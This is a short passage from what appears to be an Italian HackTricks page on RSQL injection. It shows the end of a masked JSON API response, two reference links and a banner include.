|
"mobilePhone": "********",
|
||||||
|
"taxIdentifier": "*********",
|
||||||
|
"languageId": 1,
|
||||||
|
"createdAt": "2024-11-21T08:29:05.833Z",
|
||||||
|
"termsOfUseAccepted": true,
|
||||||
|
"id": "94******************",
|
||||||
|
"type": "UserGetResponseCustomDTO"
|
||||||
|
}
|
||||||
|
}]
|
||||||
|
}
|
||||||
|
```
|
||||||
|
## Riferimenti
|
||||||
|
- [RSQL Injection](https://owasp.org/www-community/attacks/RSQL_Injection)
|
||||||
|
- [RSQL Injection Exploitation](https://m3n0sd0n4ld.github.io/patoHackventuras/rsql_injection_exploitation)
|
||||||
|
|
||||||
|
{{#include ../banners/hacktricks-training.md}}
|
Loading…
x
Reference in New Issue
Block a user